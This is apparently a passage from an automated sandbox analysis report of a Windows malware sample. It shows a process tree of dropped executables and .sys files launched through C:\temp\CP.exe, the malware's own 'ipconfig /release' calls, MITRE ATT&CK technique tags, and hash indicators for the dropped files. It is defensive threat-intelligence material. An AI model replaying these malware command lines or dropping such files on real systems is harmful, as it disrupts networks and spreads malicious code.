    - Suspicious use of AdjustPrivilegeToken
    PID:4712
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qljdbytqol.exe ups_run
  2⤵
  PID:6728
- - C:\Temp\qljdbytqol.exe
    C:\Temp\qljdbytqol.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1384
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1812
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:7128
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qljdbytqol.exe ups_ins
  2⤵
  PID:4284
- - C:\Temp\i_qljdbytqol.exe
    C:\Temp\i_qljdbytqol.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ligdyolida.exe ups_run
  2⤵
  PID:3356
- - C:\Temp\ligdyolida.exe
    C:\Temp\ligdyolida.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1472
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4744
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5000
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ligdyolida.exe ups_ins
  2⤵
  PID:1412
- - C:\Temp\i_ligdyolida.exe
    C:\Temp\i_ligdyolida.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6948

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1804

C:\Temp\ywtolgeywq.sys
C:\Temp\ywtolgeywq.sys
1⤵
- Executes dropped EXE
PID:5376

C:\Temp\tnlidaysqo.sys
C:\Temp\tnlidaysqo.sys
1⤵
- Executes dropped EXE
PID:1860

C:\Temp\vsnlfdxvqn.sys
C:\Temp\vsnlfdxvqn.sys
1⤵
- Executes dropped EXE
PID:3408

C:\Temp\cxvpnhfaxs.sys
C:\Temp\cxvpnhfaxs.sys
1⤵
- Executes dropped EXE
PID:988

C:\Temp\zxupmkfcxv.sys
C:\Temp\zxupmkfcxv.sys
1⤵
- Executes dropped EXE
PID:7024

C:\Temp\mhezxrpjhc.sys
C:\Temp\mhezxrpjhc.sys
1⤵
- Executes dropped EXE
PID:5092

C:\Temp\rmjhezxrpj.sys
C:\Temp\rmjhezxrpj.sys
1⤵
- Executes dropped EXE
PID:3108

C:\Temp\jebwtrljhb.sys
C:\Temp\jebwtrljhb.sys
1⤵
- Executes dropped EXE
PID:2708

C:\Temp\jdbvtolgey.sys
C:\Temp\jdbvtolgey.sys
1⤵
- Executes dropped EXE
PID:6768

C:\Temp\ljdbytqljd.sys
C:\Temp\ljdbytqljd.sys
1⤵
- Executes dropped EXE
PID:3200

C:\Temp\dbysqoigdy.sys
C:\Temp\dbysqoigdy.sys
1⤵
PID:1772

C:\Temp\nifaysqkic.sys
C:\Temp\nifaysqkic.sys
1⤵
PID:6232

C:\Temp\hfaxsqkica.sys
C:\Temp\hfaxsqkica.sys
1⤵
PID:4284

C:\Temp\nhfzxspkhc.sys
C:\Temp\nhfzxspkhc.sys
1⤵
PID:6384

C:\Temp\xrpkhczurp.sys
C:\Temp\xrpkhczurp.sys
1⤵
PID:5520

C:\Temp\cwtromhecz.sys
C:\Temp\cwtromhecz.sys
1⤵
PID:1744

C:\Temp\eywuomgbzt.sys
C:\Temp\eywuomgbzt.sys
1⤵
PID:4168

C:\Temp\olgeywqolg.sys
C:\Temp\olgeywqolg.sys
1⤵
PID:3484

C:\Temp\jdbvtqoigd.sys
C:\Temp\jdbvtqoigd.sys
1⤵
PID:2800

C:\Temp\nlfdyvqoig.sys
C:\Temp\nlfdyvqoig.sys
1⤵
PID:6768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

causmkfcxu.exe

Path C:\Temp\causmkfcxu.exe
Size 230KB
SHA256 af931aa4d1fe00208cad59ad730c19b9fd8bb44cfc734601a93df12070803f6a
MD5 4c6729c161ad6ee3f4ce2fc254b1cc15
SHA1 4006f8d0c03a9cec945aef31878d799e4b2e19d3
SHA512 1d9ed7b6a0f525448d48cececc0a514462f0b031ebdf8bc9590aeb5ff371fe29fb202d550bfe9164a8df79a1916bd8dc65227f618d95280b44a22fc6f704fbc2
SSDEEP 3072:8JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:8ghLQ0sQmpcF8BzXfwVfAI
TLSH
T125344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cxvpnhfaxs.sys

Path C:\Temp\cxvpnhfaxs.sys
Size 141KB
SHA256 1febc83bc5b90310a3f5b8d9dab83d749d0f047995b97f67ea8af73503a6afc3
MD5 b440dff574c7852cba16f07c7da97875
SHA1 8017043d07093062db14002c490df7c0fb4ecd4b
SHA512 c102835857e85a92bdaf12f42be7fbf2b991c811694e626f409fe3f5f39a3bb540a2d2dbe2bff967f9a554037056badcf0a3e8278ecc02326fb79502696d0249
SSDEEP 3072:dsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:dsQmpcF8BzXfwV
TLSH
T12BE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hecwupmhec.exe

Path C:\Temp\hecwupmhec.exe
Size 230KB
SHA256 012e804675719783c3e09839ef6fa2ab12ce7712c3069bc55d15e24f468f62e2
MD5 9d6bab563d3c494e49e9f54b8f4f405a
SHA1 a39fbf630b21ad6797693ad061b12874fa781676
SHA512 6d37c842cf21d5479f48b6fef17ffab5d7c1d103602baa88b82d1633c886538de5a8f4d3882f6c91b1cb6c1a8dc9933074af83bb2748f4e258ef434afca93c20
SSDEEP 3072:hJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:hghLQ0sQmpcF8BzXfwVfAI
TLSH
T13D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_causmkfcxu.exe

Path C:\Temp\i_causmkfcxu.exe
Size 230KB
SHA256 c9cb09ab45014bb29741099653511a3e257f86ee0e1d7544375ef2a65899ef1d
MD5 8562c1f4e7bd9d84e97a318cf9aa3911
SHA1 451bc0bc9a7326c21483b315f0defe8926ae5d6a
SHA512 9bf2c1203700322622a1d9e2e5f7aef8845398a42023938eac211de3ab7a05d99bbb3af30bfcf8c7f642f5b06ddea60db0568eb3875910af0e05f148b5949d98
SSDEEP 3072:oJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:oghLQ0sQmpcF8BzXfwVfAI
TLSH
T170344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nkfcxvpnhf.exe

Path C:\Temp\i_nkfcxvpnhf.exe
Size 230KB
SHA256 40b76f46469fcea1df4ad4241a84507aea1e837b1b0adb7df6cd57cdfda2cc0c
MD5 72418734112c50d3f41f8569046cee61
SHA1 c0726d8ad34c9d78aa558be28870ac5cdea8d98d
SHA512 d4998a1d3878acc01119a3e8d08771216f392172ebea708d952a67432f48a1bf3320190e1b7d310fcdf1785baca9df74f53e532f97d4cbf66c1c5b2bb0ae2a8c
SSDEEP 3072:BJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:BghLQ0sQmpcF8BzXfwVfAI
TLSH
T1A7344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qkifdyvqoi.exe

Path C:\Temp\i_qkifdyvqoi.exe
Size 230KB
SHA256 5afcd450d5851830aa8749bf4e61efd0bc07a1b47c06587f5f335e99e13247cf
MD5 ec2d8f5e6ce5966ea54e41b9069a0a05
SHA1 ad92e8269ad3718335386b24c137d9fac1e5653b
SHA512 1a73f69d8311d32897ac3668df60bf4690720b509df72b911771144cd8cda58b0c6b839dd9a37a31cec8d09aa9b8db2efbcf38e38a493f611313180acfc7185d
SSDEEP 3072:3JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:3ghLQ0sQmpcF8BzXfwVfAI
TLSH
T199344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qljdbytqlj.exe

Path C:\Temp\i_qljdbytqlj.exe
Size 230KB
SHA256 e02bdd4e5b0e28f3e8dbdf8f8a9ea65e7e80aa583117fdd415d758b1cde8af12
MD5 8626797e426919fdd2fdec31297b92a2
SHA1 29ce26064a9d222274a252606de88fc8d1b45181
SHA512 154c9a1345b352613da89b52707c594792248e4321bcab42f8ff8e66323dfa7866e4f82fbde415370cfc96348649f38d0aca855e11b417feabcaf31ed683208a
SSDEEP 3072:YJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:YghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F2344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigbtrgoy.exe

Path C:\Temp\i_qoigbtrgoy.exe
Size 230KB
SHA256 6d7db027479ea3ead83bac9651bb9701c4123210fdd82b2bef03a95586909d94
MD5 003fa1b7bd2edfcb7925ea9aa2f630bb
SHA1 796fe9eae7898a98fda2412369e32b37d15aa9c1
SHA512 955a4dd05446e7a64c44c0bfe1290363f034fd87c30eec9dd8c89b665be7e01204103ed90da9fa8c090e731b1593c3fe676343103aed85fef37c83919213b5ed
SSDEEP 3072:yJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:yghLQ0sQmpcF8BzXfwVfAI
TLSH
T1DA344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_sqkicaysnk.exe

Path C:\Temp\i_sqkicaysnk.exe
Size 230KB
SHA256 2fc4ba211814ca9c08fdf280145a169af26ea1120b1103fa589db6f5ac8e36f0
MD5 efb873e4b216ca45f86f559b121012f9
SHA1 4d36723c18a41856f6efc4b725fb60d3f625b459
SHA512 858e0df75364015d4b1ee64be78985d394e5f0f9a5e4a018b45703707cf0b94a756eed724c9519ae88bac6f85f2800cde2c4183c64525b6a88655aba51510522
SSDEEP 3072:CJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:CghLQ0sQmpcF8BzXfwVfAI
TLSH
T17F344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhezxrpjhc.sys

Path C:\Temp\mhezxrpjhc.sys
Size 141KB
SHA256 0d3cf267d54bd93d09d67708cac754d17a37e024c2deb1693828171041d90ace
MD5 81115014ad058bff695b8a47c34f9bbd
SHA1 76d5bfdddd58c4810276e77e3c9f378fb961cfb4
SHA512 66a82104b12d04204c1e3d543201bd3ebeaff9bcd5f2afb14857c63fd1800ada26ff1371c927bd0ddeb250ed99a5d7af7e30cf7d7e373ff80381b267f3cafbb6
SSDEEP 3072:NsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:NsQmpcF8BzXfwV
TLSH
T19CE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkfcxvpnhf.exe

Path C:\Temp\nkfcxvpnhf.exe
Size 230KB
SHA256 58e8ca65a96ddf2fb5972c8eea69ffd4bee37b327b1db049f6bb2a6eae6b8482
MD5 8c0ce9239344a70de6775c7b88c9eb5b
SHA1 fc91763a05d730329b60e80f9225139ab1873d01
SHA512 e3ac896c0e87dea493b3840d5e79ce04af5c0f414bebcd7399e069a3c28b10751be01bfa938b43b929489b1bcfeaf2b6913cff5ec1a5a4e7553fea980bf66fb3
SSDEEP 3072:MJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:MghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F9344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qkifdyvqoi.exe

Path C:\Temp\qkifdyvqoi.exe
Size 230KB
SHA256 55f69e67342bc5b60a0460bf7e452b5524d7b30f72d5e472c03d54b5714c861b
MD5 f19781723cf063e2388f1e1f73eeb3d8
SHA1 6190c0e10ec349eaad2811e5c09450a69364fc2f
SHA512 bd44bad8f20baab1d5c154199c848e13b7203dced4f3338be76d8f872c2e53c5996225a2ca3b6dbf62853f8e9105c7319a8a084e085543d56ccacea636b61265
SSDEEP 3072:kJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:kghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BF344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qljdbytqlj.exe

Path C:\Temp\qljdbytqlj.exe
Size 230KB
SHA256 fa4da5c2dd22c8f2eceb6256b02bac1a747fa37f00c3343c7626c0e0f97734e2
MD5 713b6e27fa651de788e1db7e19b5e2a6
SHA1 57b9d90fb6c60994d51aed4dfe0881558ddae518
SHA512 b5dfa3acc08c4b3d497bdd71faf13972976d490efa0ee6d7aa4903e022e636154c349cd8ef8986af79d40630def18abb55cdd68d2d355f927dddffb21e41d731
SSDEEP 3072:hJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:hghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BD344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigbtrgoy.exe

Path C:\Temp\qoigbtrgoy.exe
Size 230KB
SHA256 f7d8b9f1aeef2c6ce6da91a4845dbd9c8718ec3f4915520b8b3b83f8dcd7ce7f
MD5 bcb14ede61c940e5dca0b818a64192bf
SHA1 c7e039c86052b966966dc5f5af3b18be10748726
SHA512 2dc98d8703f1ac7c2c8b512a73f4d7d8d1d7a6296fb829c8614941feac3b04d35c04311ca7f5fdaae551ad0fa5b6b1b02ae92adca869f4785179a739d412aa70
SSDEEP 3072:jJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:jghLQ0sQmpcF8BzXfwVfAI
TLSH
T115344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkicaysnk.exe

Path C:\Temp\sqkicaysnk.exe
Size 230KB
SHA256 5093b2798c19d49bfc33fead5668847993d1fdc736c7fa1b5dc2e7250c89771a
MD5 ad0ca60b64c16ad32d0d6bcd207b1767
SHA1 385d50cb34b7357d42e094314c101d17a13764cb
SHA512 422a450bdf3e3dde4fbcb27fe7d08bd2330cbace5fd9a210fdb3e10f2bb7356e172ba838cfcb66816444693ac8a616879655d98be2393f622c8d829b08a8431f
SSDEEP 3072:hJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:hghLQ0sQmpcF8BzXfwVfAI
TLSH
T19C344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlidaysqo.sys

Path C:\Temp\tnlidaysqo.sys
Size 141KB
SHA256 d14eedae3381d4c9523cd019d2841dc53c29b37a313c05894fdcc1e0156c24dd
MD5 1cc5399ae198ac859d2c9265ff220501
SHA1 688cd60f78ea7382a9c21c4038f7d26e79a4a2da
SHA512 bab9ce54cf1efb97b86db6aab870df115f3242606a04ad9704718c33f071ad0381258c4c667cb83da9463bad9aecf6fb5b9bd143ee645be730152514d9111b70
SSDEEP 3072:fsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:fsQmpcF8BzXfwV
TLSH
T114E38D12B2D19172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vsnlfdxvqn.sys

Path C:\Temp\vsnlfdxvqn.sys
Size 141KB
SHA256 2226955c083b5e17cdc1c1166bd6e6c07ef38e958ed948047804a986302ab68a
MD5 0096635b5a3685dd4a0cc008f1b8ae8e
SHA1 d62658dd88492a01344b1b28e81da1a17ded6667
SHA512 a4f4b936069dfba649cc098b18b8cb765d2aa902be9ca731c415afc686bbe6928f7d2693cc4e5c8a9cb6dddc699a512e8d9ae927b8656281b10ab1c21024f73b
SSDEEP 3072:usQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:usQmpcF8BzXfwV
TLSH
T100E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywtolgeywq.sys

Path C:\Temp\ywtolgeywq.sys
Size 141KB
SHA256 53a3cabb89cfabf1dc2db2f88d1f51e1d565e4286e3cac666c0a01eda08aa358
MD5 d8acdcde8b2f56ef51d6594b1939e539
SHA1 e10feb5ac4deedf7d4dccc4026f8fdd2b2e58dfa
SHA512 dc51fb4fb755a030a9cbfb72d45af3a4fd9235e66fd97243d541adb3626a1438c7fd5171ef634c054eba5b5ce7a751af6890cb93cf9f2aa4a6d2e639387c2c10
SSDEEP 3072:esQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:esQmpcF8BzXfwV
TLSH
T198E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxupmkfcxv.sys

Path C:\Temp\zxupmkfcxv.sys
Size 141KB
SHA256 dea270ee37cb8e4a3602287c4c25615f38776c73f4142494c4585d0447667d7a
MD5 b7d154c55c5bd53eff3ed610413d68d8
SHA1 d80c293c62444232cec11c0e3c153235e2d24789
SHA512 feba957b5f4e75e137363e127bbc9700960308d66e49c90e83135f8538c31fbaa52a592f263cc94bb797461e07c108fab8d4506acb833ea9a8217b818cafedb9
SSDEEP 3072:CsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:CsQmpcF8BzXfwV
TLSH
T15AE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 19509664097c265b613b84702dd83a5bf5de055759de5b566057524c40ef7e6a
MD5 21b7bb74a7a973f055e2b6a521d9b7cb
SHA1 3d70b3b2cde84afbf3f8734366a34038d4e9a9d8
SHA512 c0e322927c0dd573b4065c0af844b7689ba9ed346bc20367531c7f58dfc0db9d330f64bb479ece7c9e93e6ef8165c09293c33482618cb351288c8e942ef968f0
TLSH
T109D0C03136146102C21A22B06C00631C605D82123192C10774E1E00ECC9FA60B7C6503
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 54c2f594ac5ab8cb2c84ac95854712b1d39191769839007889ad58d0a8acb09b
MD5 35a353c55b125bcf6e8367640eeea748
SHA1 1655243ec502fb3b5a85abd22fbd1f62cd1c2d0c
SHA512 2da841d1abcd6407ef04255ba7b81e4a131a12cc27032c43d6d17f9e17a75ddd466b533c45594f0e81eda5c450b35a336c6eed9c4f2302f610f34731bf1aea49
TLSH
T170D0C03136146102C21A22706C10632C605D82563591C10770E1900ECCDFA6077C6503
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 ecc38fdb1cc3a24cfbd8b19b4e1ca2860fdab268e314f0aa5067895621a392a7
MD5 d0fe64230179832e8b4c125dd23f3d50
SHA1 ba3a1467c43728025772905fe7401bde18074596
SHA512 5d9ae9476ed6e281327eb203d20fbdca1b1bf614793f433bb10bd7fa0262626630cc3ff2cfd17feca7f3f8f94e8c8cbfdd79bd8d8c0e67b434037f3c87a68833
TLSH
T1A9F0F4B6CD25AC3708FD5B2924980B8BE75013572740899B3B3D920C4FB163B464682C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 2f76a10313766519bc3a7df05de33e589790182c9379dcf762c13fcf86801e4e
MD5 9f9fbb938f64036005819ba5f1998650
SHA1 d416eb6fc7552875cfe3ed34e8a01889bb279444
SHA512 45c41784732cff2f833567f5f402b4cd9f62eadeab97b4c3dda8ed244cbe1bcbf5220391c827a4bcec65587df31b8c3be8c9b7c07705149b9a87c89097c5d119
TLSH
T162419CF383E4866E891196F0BA18AE2BDE1D0514832C3D5AC9E4EF5BD3E3471E141A5B
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 39bab0b08376f8a17100e22abb8fe6f668d2fbada29fa9b92a5775ab238b4627
MD5 7b5d18be2f74afd239ae952925bdbba8
SHA1 4be185902cf2b73cdf4473f2e342427fb893c42c
SHA512 017fafb78d14560acb9ce8dcf44f5f875f2f27703316dcc4a9bb656f65425d9a306a40a1786f4aa054347ce8e1fbbd611e7a4b821fbff26e137fdcffbd3b8f5e
SSDEEP 192:sxRfR6yMqZjK1Ml8wcF/fzs7Oa/cZaJ0/RYzoA8prk/g6+WNCyffY/CKhGIIgjuJ:sxRfXCF/fzsaa/iU0/RhI/5jf0j6
TLSH
T11D72D81A6A34597B8CDBD219FA557B53D6F81573E2804E44AAFC8B0C01E7ADD221383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 359ee190136b1349d833116c7007b2faa948b42d439bebf4b79e7f5182178886
MD5 693b84c6f620f05f8035a28aa88c6ec2
SHA1 a95e4c4f26f7137ff4b65b1358007b98ab6dc6a3
SHA512 c7bd43b9a09e005309e5d0ce374823dcaf2c8e10717ae3abf7f9110ed99d5d9d5f54c0663e6046a6e54d7d915415185fb1b329879968e161b1fc82e76dd1460b
SSDEEP 192:sxRfR6yMqZjK1Ml8UQXcF/fzsoOakcZaJ0/RYzoA8prk/g6+WNCyffY/CphGIIgA:sxRfXqsF/fzshakiU0/RhI/5jfJZC
TLSH
T1F472D91A6A34597B8CDBD219FA457B53D6F81573A2844E44AAFC8B0C01E7ADD211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 3709eca2c6afb4b672ef04119aeeacead36ff70b070c9ac7c15d13639b8f155f
MD5 0515f56b5fbde64ab7da1977f846b42c
SHA1 9ac7d388766fabf1fc47aaf7f2d4d5fdde2c1743
SHA512 213762b96ea110f1cb4571f99aba2e3ec44bdc7307cb7256130aa2ffed9da57248da0311668e129d093406cd2e03201ab3a6bb05782beaae639934eae0001020
SSDEEP 768:zEX1hN7pLuL7w9WgLLfzE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSFmZwD/rooU/vn:zEX1h7E7w9WgLLfzEu1japFm2DsoUX
TLSH
T10CE2FC7B680CCB7E4F444ADCEC29BD9B6DE802CF96D8895447EA840C03C6AEB51165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 fbee131c09c8dc2485cfed576b6eade52f88254f6bfe347282d24370edf14065
MD5 faddcc1bdb99ab88c82688c966831e0d
SHA1 b730b7c9aa063cf0045173e7d78d2b658fd39cf8
SHA512 b92d5d15d57139a2d85dcc6fa4310b5c238d8c0a4e078d7640404a80efcd147fe581ab2c49b877187a419067b2aad8a8738c492cf3950ddb7f4e8f3c32e0cd2a
SSDEEP 384:83lTzBt/l8joMOimxiVwEQhoGhsM1OsBcxGNwq8VLxslRHJ:83lTzBt/l8joMOimxiVwEQhoGhsM1OsF
TLSH
T171B25A117A7E264038FE290CE1A5956F674230B3301AB63B7B7D60E50EA7E005EFD9D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
